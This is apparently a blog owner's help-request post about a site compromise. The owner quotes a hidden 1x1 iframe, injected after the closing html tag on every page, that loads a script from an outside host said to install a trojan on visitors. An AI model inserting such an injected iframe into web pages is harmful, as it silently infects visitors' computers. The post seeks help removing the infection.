The following code is appearing at the bottom of all the pages/posts of our blog:
</body> </html><iframe heigth="1" width="1" frameborder="0" src="http://curem.net/t.php?id=1993664"></iframe>
Apparently it's something that installs a trojan on around 30-40% of visitors' computers. I can't find what's causing it - apparently it's a malicious hack from implementing forms on the page, but we need those forms.
Any ideas would be MASSIVELY appreciated.